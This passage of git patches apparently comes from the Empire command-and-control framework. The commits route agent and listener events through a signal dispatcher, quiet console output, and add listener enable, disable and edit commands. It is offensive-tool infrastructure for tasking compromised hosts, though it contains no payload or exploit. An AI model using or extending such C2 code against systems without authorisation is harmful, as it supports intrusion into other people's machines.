reporting database cur = conn.cursor() - events.agent_result(agentSessionID, responseName, taskID) + message = "[*] Agent {} got results".format(sessionID) + signal = json.dumps({ + 'print': False, + 'message': message, + 'response_name': responseName, + 'task_id': taskID + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # insert task results into the database, if it's not a file if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None: diff --git a/lib/common/events.py b/lib/common/events.py index 8940a8c9e..981725f85 100644 --- a/lib/common/events.py +++ b/lib/common/events.py @@ -20,6 +20,12 @@ def handle_event(signal, sender): except ValueError: print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender))) return + + # this should probably be set in the event itselfd but we can check + # here (and for most the time difference won't matter so it's fine) + if 'timestamp' not in signal_data: + signal_data['timestamp'] = helpers.get_datetime() + event_data = json.dumps({'signal': signal_data, 'sender': sender}) log_event(cur, 'user', 'dispatched_event', event_data, helpers.get_datetime()) cur.close() diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 2c9fde280..5bbe9206e 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -13,6 +13,8 @@ import hashlib import copy +from pydispatch import dispatcher + class Listeners: """ Listener handling class. @@ -185,7 +187,7 @@ def start_listener(self, moduleName, listenerObject): i = 1 while name in self.activeListeners.keys(): name = "%s%s" % (nameBase, i) - + listenerObject.options['Name']['Value'] = name try: @@ -193,13 +195,21 @@ def start_listener(self, moduleName, listenerObject): success = listenerObject.start(name=name) if success: - print helpers.color('[+] Listener successfully started!') listenerOptions = copy.deepcopy(listenerObject.options) self.activeListeners[name] = {'moduleName': moduleName, 'options':listenerOptions} pickledOptions = pickle.dumps(listenerObject.options) cur = self.conn.cursor() cur.execute("INSERT INTO listeners (name, module, listener_category, options) VALUES (?,?,?,?)", [name, moduleName, category, pickledOptions]) cur.close() + + # dispatch this event + message = "[+] Listener successfully started!" + signal = json.dumps({ + 'print': True, + 'message': message, + 'listener_options': listenerOptions + }) + dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, name)) else: print helpers.color('[!] Listener failed to start!') @@ -246,9 +256,16 @@ def start_existing_listeners(self): success = listenerModule.start(name=listenerName) if success: - print helpers.color('[+] Listener successfully started!') listenerOptions = copy.deepcopy(listenerModule.options) self.activeListeners[listenerName] = {'moduleName': moduleName, 'options':listenerOptions} + # dispatch this event + message = "[+] Listener successfully started!" + signal = json.dumps({ + 'print': True, + 'message': message, + 'listener_options': listenerOptions + }) + dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, listenerName)) else: print helpers.color('[!] Listener failed to start!') @@ -267,7 +284,7 @@ def kill_listener(self, listenerName): To kill all listeners, use listenerName == 'all' """ - + if listenerName.lower() == 'all': listenerNames = self.activeListeners.keys() else: @@ -287,7 +304,7 @@ def kill_listener(self, listenerName): cur.execute("DELETE FROM listeners WHERE name=?", [listenerName]) cur.close() continue - + self.shutdown_listener(listenerName) # remove the listener from the database @@ -327,6 +344,14 @@ def shutdown_listener(self, listenerName): # remove the listener object from the internal cache del self.activeListeners[listenerName] + # dispatch this event + message = "[*] Listener {} killed".format(listenerName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="listeners/{}/{}".format(activeListenerModuleName, listenerName)) + def is_listener_valid(self, name): return name in self.activeListeners diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 6fc5d2e69..c81deee52 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -99,7 +99,7 @@ def generate_launcher(self, listenerName, language=None, encode=True, obfuscate= activeListener = self.mainMenu.listeners.activeListeners[listenerName] launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks) - + if launcherCode: return launcherCode @@ -231,9 +231,6 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): """ Generates an application. The embedded executable is a macho binary with the python interpreter. """ - - - MH_EXECUTE = 2 if Arch == 'x64': @@ -365,8 +362,8 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): f.close() os.remove("/tmp/launcher.zip") return zipbundle - - + + else: print helpers.color("[!] Unable to patch application") @@ -453,7 +450,7 @@ def generate_jar(self, launcherCode): raise else: pass - + file = open(jarpath+'Run.java','w') file.write(javacode) file.close() @@ -469,7 +466,7 @@ def generate_jar(self, launcherCode): jarfile.close() os.remove('Run.jar') - return jar + return jar def generate_upload(self, file, path): From c20042080a628e32f75b9a12d6c3a4a78d7e93f9 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Tue, 23 Jan 2018 12:23:57 -0800 Subject: [PATCH 038/136] Cleanup, suppress output, finalize for merge --- lib/common/agents.py | 14 +++--- lib/common/events.py | 101 +++++++++++----------------------------- lib/common/listeners.py | 1 + lib/listeners/http.py | 12 ++--- 4 files changed, 41 insertions(+), 87 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index b9b4c5c87..b88c5ac64 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1411,7 +1411,7 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) @@ -1512,7 +1512,7 @@ def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP if len(routingPacket) < 20: message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(routingPacket) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="empire") @@ -1531,7 +1531,7 @@ def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2': message = "[*] handle_agent_data(): sessionID {} issued a {} request".format(sessionID, meta) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) @@ -1540,7 +1540,7 @@ def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP elif sessionID not in self.agents: message = "[!] handle_agent_data(): sessionID {} not present".format(sessionID) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) @@ -1549,16 +1549,16 @@ def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP elif meta == 'TASKING_REQUEST': message = "[*] handle_agent_data(): sessionID {} issued a TASKING_REQUEST".format(sessionID) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) dataToReturn.append((language, self.handle_agent_request(sessionID, language, stagingKey))) elif meta == 'RESULT_POST': - message = "[*] handle_agent_data(): sessionID %s issued a RESULT_POST".format(sessionID) + message = "[*] handle_agent_data(): sessionID {} issued a RESULT_POST".format(sessionID) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) diff --git a/lib/common/events.py b/lib/common/events.py index 981725f85..d836758c2 100644 --- a/lib/common/events.py +++ b/lib/common/events.py @@ -26,8 +26,12 @@ def handle_event(signal, sender): if 'timestamp' not in signal_data: signal_data['timestamp'] = helpers.get_datetime() + task_id = None + if 'task_id' in signal_data: + task_id = signal_data['task_id'] + event_data = json.dumps({'signal': signal_data, 'sender': sender}) - log_event(cur, 'user', 'dispatched_event', event_data, helpers.get_datetime()) + log_event(cur, sender, 'dispatched_event', json.dumps(signal_data), signal_data['timestamp'], task_id=task_id) cur.close() # Record all dispatched events @@ -37,18 +41,6 @@ def handle_event(signal, sender): # Helper functions for logging common events ################################################################################ -def agent_checkin(session_id, checkin_time): - """ - Helper function for reporting agent checkins. - - session_id - of an agent - checkin_time - when that agent was first seen - """ - cur = db.cursor() - checkin_data = json.dumps({'checkin_time': checkin_time}) - log_event(cur, session_id, 'agent_checkin', checkin_data, helpers.get_datetime()) - cur.close() - def agent_rename(old_name, new_name): """ Helper function for reporting agent name changes. @@ -58,65 +50,27 @@ def agent_rename(old_name, new_name): """ # make sure to include new_name in there so it will persist if the agent # is renamed again - that way we can still trace the trail back if needed - cur = db.cursor() - name_data = json.dumps({'old_name': old_name, 'new_name': new_name}) - log_event(cur, new_name, 'agent_rename', name_data, helpers.get_datetime()) - # rename all events left over using agent's old name - cur.execute("UPDATE reporting SET name=? WHERE name=?", [new_name, old_name]) - cur.close() - -def agent_task(session_id, task_name, task_id, task): - """ - Helper function for reporting agent taskings. - - session_id - of an agent - task_name - a string (e.g. "TASK_EXIT", "TASK_CMD_WAIT", "TASK_SHELL") that - an agent is able to interpret as a command - task_id - a unique ID for this task (usually an integer 0<=id<=65535) - task - the actual task definition string (e.g. for "TASK_SHELL" this - is the shell command to run) - """ - - cur = db.cursor() - task_data = json.dumps({'task_name': task_name, 'task': task}) - log_event(cur, session_id, "agent_task", task_data, helpers.get_datetime(), task_id) - cur.close() - -def agent_result(cur, session_id, response_name, task_id): - """ - Helper function for reporting agent task results. - - Note that this doesn't store the actual result data; since it comes in - many forms (some large, and/or files, and so on) this event merely provides - all of the details you need to fetch the actual result from the database. - """ - - response_data = json.dumps({'task_type': response_name}) - log_event(cur, session_id, "agent_result", response_data, helpers.get_datetime(), task_id) - cur.close() - -def agent_delete(session_id): - """ - Helper function for reporting an agent's deletion. - - session_id - the agent's ID - """ - cur = db.cursor() - data = json.dumps({}) - log_event(cur, session_id, "agent_deleted", data, helpers.get_datetime()) - cur.close() - -def agent_clear_tasks(session_id): - """ - Helper function for reporting an agent's tasks have been cleared. - - session_id - the agent's ID - """ - cur = db.cursor() - data = json.dumps({}) - log_event(cur, session_id, "agent_tasks_cleared", data, helpers.get_datetime()) - cur.close() - + message = "[*] Agent {} has been renamed to {}".format(old_name, new_name) + signal = json.dumps({ + 'print': False, + 'message': message, + 'old_name': old_name, + 'new_name': new_name + }) + # signal twice, once for each name (that way, if you search by sender, + # the last thing in the old agent and the first thing in the new is that + # it has been renamed) + dispatcher.send(signal, sender="agents/{}".format(old_name)) + dispatcher.send(signal, sender="agents/{}".format(new_name)) + + # TODO rename all events left over using agent's old name? + # in order to handle "agents/" as well as "agents//stuff" + # we'll need to query, iterate the list to build replacements, then send + # a bunch of updates... kind of a pain + + #cur = db.cursor() + #cur.execute("UPDATE reporting SET name=? WHERE name REGEXP ?", [new_name, old_sender]) + #cur.close() def log_event(cur, name, event_type, message, timestamp, task_id=None): """ @@ -124,8 +78,7 @@ def log_event(cur, name, event_type, message, timestamp, task_id=None): cur - a database connection object (such as that returned from `get_db_connection()`) - name - some sort of identifier for the object the event pertains to - (e.g. an agent or listener name) + name - the sender string from the dispatched event event_type - the category of the event - agent_result, agent_task, agent_rename, etc. Ideally a succinct description of what the event actually is. diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 5bbe9206e..5988d773d 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -12,6 +12,7 @@ import pickle import hashlib import copy +import json from pydispatch import dispatcher diff --git a/lib/listeners/http.py b/lib/listeners/http.py index f07ed4c0e..185218b76 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -968,7 +968,7 @@ def handle_get(request_uri): listenerName = self.options['Name']['Value'] message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) @@ -983,7 +983,7 @@ def handle_get(request_uri): listenerName = self.options['Name']['Value'] message = "[*] GET cookie value from {} : {}".format(clientIP, cookie) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) @@ -1036,9 +1036,9 @@ def handle_get(request_uri): else: # actual taskings listenerName = self.options['Name']['Value'] - message = "[*] Agent from %s retrieved taskings".format(clientIP) + message = "[*] Agent from {} retrieved taskings".format(clientIP) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) @@ -1073,7 +1073,7 @@ def handle_post(request_uri): listenerName = self.options['Name']['Value'] message = "[*] POST request data length from {} : {}".format(clientIP, len(requestData)) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) @@ -1125,7 +1125,7 @@ def handle_post(request_uri): return make_response(self.default_response(), 404) elif results == 'VALID': listenerName = self.options['Name']['Value'] - message = "[*] Valid results return by {}".format(clientIP) + message = "[*] Valid results returned by {}".format(clientIP) signal = json.dumps({ 'print': True, 'message': message From 3bff4e6ef256d1a5bf2b95fbeacfdb6485374a4d Mon Sep 17 00:00:00 2001 From: mr64bit Date: Thu, 18 Jan 2018 22:45:53 -0500 Subject: [PATCH 039/136] Added ability to enable/disable listeners, so they are still stored in the database, but will not start automatically. Also, listener options can now be edited without deleting the listener and starting a new one from scratch. --- lib/common/empire.py | 52 +++++++++++++++++++-- lib/common/listeners.py | 101 +++++++++++++++++++++++++++++++++++++++- lib/common/messages.py | 7 +-- setup/setup_database.py | 1 + 4 files changed, 153 insertions(+), 8 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index bc60a69bb..15503b47e 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -155,7 +155,9 @@ def handle_args(self): # if we're displaying listeners/stagers or generating a stager if self.args.listener: if self.args.listener == 'list': - messages.display_active_listeners(self.listeners.activeListeners) + messages.display_listeners(self.listeners.activeListeners) + messages.display_listeners(self.listeners.get_inactive_listeners(), "Inactive") + else: activeListeners = self.listeners.activeListeners targetListener = [l for l in activeListeners if self.args.listener in l[1]] @@ -783,7 +785,8 @@ def do_list(self, line): elif parts[0].lower() == 'listeners': - messages.display_active_listeners(self.listeners.activeListeners) + messages.display_listeners(self.listeners.activeListeners) + messages.display_listeners(self.listeners.get_inactive_listeners(), "Inactive") def do_interact(self, line): @@ -2912,7 +2915,8 @@ def __init__(self, mainMenu): self.prompt = '(Empire: ' + helpers.color('listeners', color='blue') + ') > ' # display all active listeners on menu startup - messages.display_active_listeners(self.mainMenu.listeners.activeListeners) + messages.display_listeners(self.mainMenu.listeners.activeListeners) + messages.display_listeners(self.mainMenu.listeners.get_inactive_listeners(), "Inactive") def do_back(self, line): "Go back to the main menu." @@ -3027,6 +3031,48 @@ def do_launcher(self, line): else: print helpers.color("[!] Please enter a valid listenerName") + def do_enable(self, line): + "Enables and starts one or all listners." + + listenerID = line.strip() + + if listenerID == '': + print helpers.color("[!] Please provide a listener name") + elif listenerID.lower() == 'all': + try: + choice = raw_input(helpers.color('[>] Start all listeners? [y/N] ', 'red')) + if choice.lower() != '' and choice.lower()[0] == 'y': + self.mainMenu.listeners.enable_listener('all') + except KeyboardInterrupt: + print '' + + else: + self.mainMenu.listeners.enable_listener(listenerID) + + def do_disable(self, line): + "Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire" + + listenerID = line.strip() + + if listenerID.lower() == 'all': + try: + choice = raw_input(helpers.color('[>] Stop all listeners? [y/N] ', 'red')) + if choice.lower() != '' and choice.lower()[0] == 'y': + self.mainMenu.listeners.shutdown_listener('all') + except KeyboardInterrupt: + print '' + + else: + self.mainMenu.listeners.disable_listener(listenerID) + + def do_edit(self,line): + "Change a listener option, will not take effect until the listener is restarted" + + arguments = line.strip().split(" ") + if len(arguments) < 3: + print helpers.color("[!] edit